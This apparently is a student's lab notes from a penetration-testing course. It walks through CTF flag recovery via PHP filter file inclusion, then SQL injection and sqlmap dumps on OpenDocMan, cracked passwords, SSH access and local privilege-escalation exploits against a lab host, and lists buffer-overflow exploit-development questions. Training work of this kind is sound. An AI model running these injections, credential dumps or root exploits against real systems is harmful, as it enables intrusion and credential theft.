mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk

/mnt/217vm# ls

cd /media/bobsdisk/

ls

cat ToAlice.eml

file bobsdisk.dsk

mkdir /media/bobsdisk

mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk

/mnt/217vm# ls

cd /media/bobsdisk/

ls

cat ToAlice.eml

file ToAlice.csv.enc

file bobsdisk.dsk

pwd

mkdir /media/bobsdisk


mount /mnt/217vm/bobsdisk.dsk /media/bobsdisk

ls

cd /media/bobsdisk/

ls

openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv

ls

cat ToAlice.eml | grep flag

openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv

ls

cat ToAlice.eml
    ***** look for supercalifragilisticoespialidoso ******

openssl enc -aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ToAlice.csv

    supercalifragilisticoespialidoso


ls

cat ToAlice.csv

-----------------------------------------------------
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site!
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?

-----------------------------------------------------

The hints are "Web Path" and "strangest URL" so let's try the long strings in the URL:
http://172.31.2.217/5560a1468022758dba5e92ac8f2353c0/
  -- view source

Found this string in the source:
R2VvcmdlIENvc3RhbnphOiBbU291cCBOYXppIGdpdmVzIGhpbSBhIGxvb2tdIE1lZGl1bSB0dXJr
ZXkgY2hpbGkuIApbaW5zdGFudGx5IG1vdmVzIHRvIHRoZSBjYXNoaWVyXSAKSmVycnkgU2VpbmZl
bGQ6IE1lZGl1bSBjcmFiIGJpc3F1ZS4gCkdlb3JnZSBDb3N0YW56YTogW2xvb2tzIGluIGhpcyBi
YWcgYW5kIG5vdGljZXMgbm8gYnJlYWQgaW4gaXRdIEkgZGlkbid0IGdldCBhbnkgYnJlYWQuIApK
ZXJyeSBTZWluZmVsZDogSnVzdCBmb3JnZXQgaXQuIExldCBpdCBnby4gCkdlb3JnZSBDb3N0YW56
YTogVW0sIGV4Y3VzZSBtZSwgSSAtIEkgdGhpbmsgeW91IGZvcmdvdCBteSBicmVhZC4gClNvdXAg
TmF6aTogQnJlYWQsICQyIGV4dHJhLiAKR2VvcmdlIENvc3RhbnphOiAkMj8gQnV0IGV2ZXJ5b25l
IGluIGZyb250IG9mIG1lIGdvdCBmcmVlIGJyZWFkLiAKU291cCBOYXppOiBZb3Ugd2FudCBicmVh
ZD8gCkdlb3JnZSBDb3N0YW56YTogWWVzLCBwbGVhc2UuIApTb3VwIE5hemk6ICQzISAKR2Vvcmdl
IENvc3RhbnphOiBXaGF0PyAKU291cCBOYXppOiBOTyBGTEFHIEZPUiBZT1UK

------ https://www.base64decode.org/ -------
------ Decoded, but didn't find a flag -----


http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/
  -- view source --
  -- Nothing in source --

Browsed to the flag link:
view-source:http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=flag
  -- view source --
  -- Nothing in source --


Tried a PHP base64 decode with the URL:
http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=welcome.php
http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=party.php

------ https://www.base64decode.org/ -------
Use the string found here:
http://172.31.2.217/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php

-------------------------------------------------------------------
PD9waHAKZGVmaW5lZCAoJ1ZJQUlOREVYJykgb3IgZGllKCdPb29vaCEgU28gY2xvc2UuLicpOwo/Pgo8aDE+RmxhZzwvaDE+CjxwPkhtbS4gTG9va2luZyBmb3IgYSBmbGFnPyBDb21lIG9uLi4uIEkgaGF2ZW4ndCBtYWRlIGl0IGVhc3kgeWV0LCBkaWQgeW91IHRoaW5rIEkgd2FzIGdvaW5nIHRvIHRoaXMgdGltZT88L3A+CjxpbWcgc3JjPSJ0cm9sbGZhY2UucG5nIiAvPgo8P3BocAovLyBPaywgb2suIEhlcmUncyB5b3VyIGZsYWchIAovLwovLyBmbGFnNHs0ZTQ0ZGIwZjFlZGMzYzM2MWRiZjU0ZWFmNGRmNDAzNTJkYjkxZjhifQovLyAKLy8gV2VsbCBkb25lLCB5b3UncmUgZG9pbmcgZ3JlYXQgc28gZmFyIQovLyBOZXh0IHN0ZXAuIFNIRUxMIQovLwovLyAKLy8gT2guIFRoYXQgZmxhZyBhYm92ZT8gWW91J3JlIGdvbm5hIG5lZWQgaXQuLi4gCj8+Cg==
-------------------------------------------------------------------
<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag!
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
//
// Well done, you're doing great so far!
// Next step. SHELL!
//
//
// Oh. That flag above? You're gonna need it...
?>





============================================ Attacking another server because I need a reverse shell =========================================
---------------------------------------------------------------------------------------------------------------------------------------------------------

Attack steps:
-------------



Step 1: Ping sweep the target network
-------------------------------------


---------------------------Type This-----------------------------------
nmap -sP 172.31.2.0/24
-----------------------------------------------------------------------



- Found 3 hosts
172.31.2.64
172.31.2.217
172.31.2.238



Step 2: Port scan target system
-------------------------------


---------------------------Type This-----------------------------------
nmap -sV 172.31.2.64
-----------------------------------------------------------------------



-------------Scan Results--------------------------------------------
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
80/tcp   open     http    Apache httpd 2.4.7 ((Ubuntu))
514/tcp  filtered shell
1037/tcp filtered ams
6667/tcp open     irc     ngircd
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
--------------------------------------------------------------------


Step 3: Vulnerability Scan the webserver
----------------------------------------


---------------------------Type This-----------------------------------
cd ~/toolz/

rm -rf nikto*

git clone https://github.com/sullo/nikto.git Nikto2

cd Nikto2/program

perl nikto.pl -h 172.31.2.64
-----------------------------------------------------------------------


Step 4: Run dirbuster or similar directory bruteforce tool against the target
-----------------------------------------------------------------------------


---------------------------Type This-----------------------------------
wget https://dl.packetstormsecurity.net/UNIX/cgi-scanners/Webr00t.pl

perl Webr00t.pl -h 172.31.2.64 -v
-----------------------------------------------------------------------
                  or with dirbuster (dirb)

---------------------------Type This-----------------------------------
git clone https://github.com/v0re/dirb.git

cd dirb/

./configure

make

dirb

./dirb http://172.31.2.64 wordlists/big.txt
-----------------------------------------------------------------------



Step 5: Browse the web site to look for clues
---------------------------------------------
Since no glaring vulnerabilities were found with the scanner - we start just looking around the website itself


..... really didn't get much from here so we just opened the web page in a browser
http://172.31.2.64/

.....browsed to the webpage and saw that it pointed to:
http://172.31.2.64/jabc

....clicked on documentation link and found hidden text that pointed to here:
http://172.31.2.64/jabcd0cs/

....saw that the app was OpenDocMan v1.2.7 and found it was vulnerable:
https://www.exploit-db.com/exploits/32075/

Tried the sql injection described in exploit-db:
http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,version(),3,4,5,6,7,8,9

http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,user(),3,4,5,6,7,8,9



Tried to run sqlmap against the target


---------------------------Type This-----------------------------------
cd sqlmap-dev/
python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -b --dbms=mysql

python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-user --dbms=mysql

python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --current-db --dbms=mysql

python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --dbs --dbms=mysql

python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" --users --passwords --dbms=mysql
-----------------------------------------------------------------------



FOUND: cracked password 'toor' for user 'drupal7' (sqlmap)
FOUND: 9CFBBC772F3F6C106020035386DA5BBBF1249A11 hash is 'toor' verified at crackstation.net



---------------------------Type This-----------------------------------
python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs --tables --dbms=mysql

python sqlmap.py -u "http://172.31.2.64/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user" -D jabcd0cs -T odm_user --dump --dbms=mysql
-----------------------------------------------------------------------

    username:   webmin
    hash:       b78aae356709f8c31118ea613980954b

https://hashkiller.co.uk/md5-decrypter.aspx

    hash:       b78aae356709f8c31118ea613980954b
    pass:       webmin1980


ok - /phpmyadmin and /webmin both did not work in the browser but these credentials worked for SSH.



---------------------------Type This-----------------------------------
ssh -l webmin 172.31.2.64
    webmin1980

id

cat /etc/*release
-----------------------------------------------------------------------



....tired of not having a real command shell...


---------------------------Type This-----------------------------------
python -c 'import pty;pty.spawn("/bin/bash")'


cd /tmp

pwd


cat >> exploit.c << out

**************paste in the content from here *****************
https://www.exploit-db.com/raw/39166/


------ hit enter a few times ------

------ then type 'out' ----- this closes the file handle...



---------------------------Type This-----------------------------------
gcc -o boom exploit.c

./boom
-----------------------------------------------------------------------


------------exploit failed, damn let's try another one ---------



---------------------------Type This-----------------------------------
cat >> exploit2.c << out

**************paste in the content from here *****************
https://www.exploit-db.com/raw/37292/


out


gcc -o boom2 exploit2.c

./boom2

id


......YEAH - do the happy dance!!!!
=============================================== Now back to the previous server ==============================================================




                            #######################################
----------- ############### # Day 3: Intro to Exploit Development  ################ -----------
                            #######################################

The first exploit
https://s3.amazonaws.com/infosecaddictsfiles/SLmail5-5-Exploit.zip

SLMail Scripts Questions

SLmail1.py
How do you start SLMail?
What do you have to be careful of when attaching your debugger to the application?
How many As are you sending to the application?

SLmail2.py
What tool(s) can be used to generate a cyclic pattern?
What port are we attacking?
What verb are we attacking?

SLmail3.py
What is the value contained in EIP?
What is the portion of the cyclic pattern that we must search for?
What is the distance to EIP?

SLmail4.py
What do you overwrite EIP with in this script?
What is the length of your shellcode in this script?
What is the difference between SOCK_STREAM and SOCK_DGRAM?

SLmail5.py
What is struct.pack and why are we using it?
What where is our JMP ESP coming from?
What is the length of our shellcode in this script?

SLmail6.py
Why do you subtract the top of ESP from the bottom of ESP in this script?
What is the length of our shellcode in this script?
What is the distance to EIP in this script?


SLmail7.py
How do you test for bad characters?
What are the bad characters in this script?
What is the address of the JMP ESP in this script and what DLL does it come from?


SLmail8.py
What is DEP and how do you disable it?
What is the purpose of the stack adjustment?
What is the purpose of the NOP sled?


If you got through SLMail comfortably - then try the script below.
https://s3.amazonaws.com/infosecaddictsfiles/ff.zip


Analysis of the exploit code:
https://www.exploit-db.com/exploits/15689/
What is the target platform that this exploit works against?
What is the variable name for the distance to EIP?
What is the actual distance to EIP in bytes?
Describe what is happening in the variable ‘junk2’?

Analysis of the training walk-through based on EID: 15689:
https://s3.amazonaws.com/infosecaddictsfiles/ff.zip

ff1.py
What does the sys module do?
What is sys.argv[1] and sys.argv[2]?
What application entry point is being attacked in this script?

ff2.py
Explain what is happening in lines 18 - 20
What is pattern_create.rb doing and where can I find it?
Why can’t I just double click the file to run this script?

ff3.py
Explain what is happening in lines 17 - to 25?
Explain what is happening in lines 30 - to 32?
Why is everything below line 35 commented out?

ff4.py
Explain what is happening in lines 13 - to 15.
Explain what is happening in line 19.
Why is everything below line 35 commented out?

Ff5.py
Explain what is happening in line 15.
What is struct.pack?.
How big is the shellcode in this script?

ff6.py
What is the distance to EIP?
How big is the shellcode in this script?
What is the total byte length of the data being sent to this app?

ff7.py
What is a tuple in python? Unchangeable list
How big is the shellcode in this script? 1000 Bytes
Did your app crash in from this script? No

ff8.py
How big is the shellcode in this script?
What is try/except in python?
What is socket.SOCK_STREAM in Python?

ff9.py
What is going on in lines 19 and 20?
What is the length of the NOPs?
What is socket.SOCK_STREAM in Python?

ff010.py
What is going on in lines 18 - 20?
How would a stack adjustment help this script?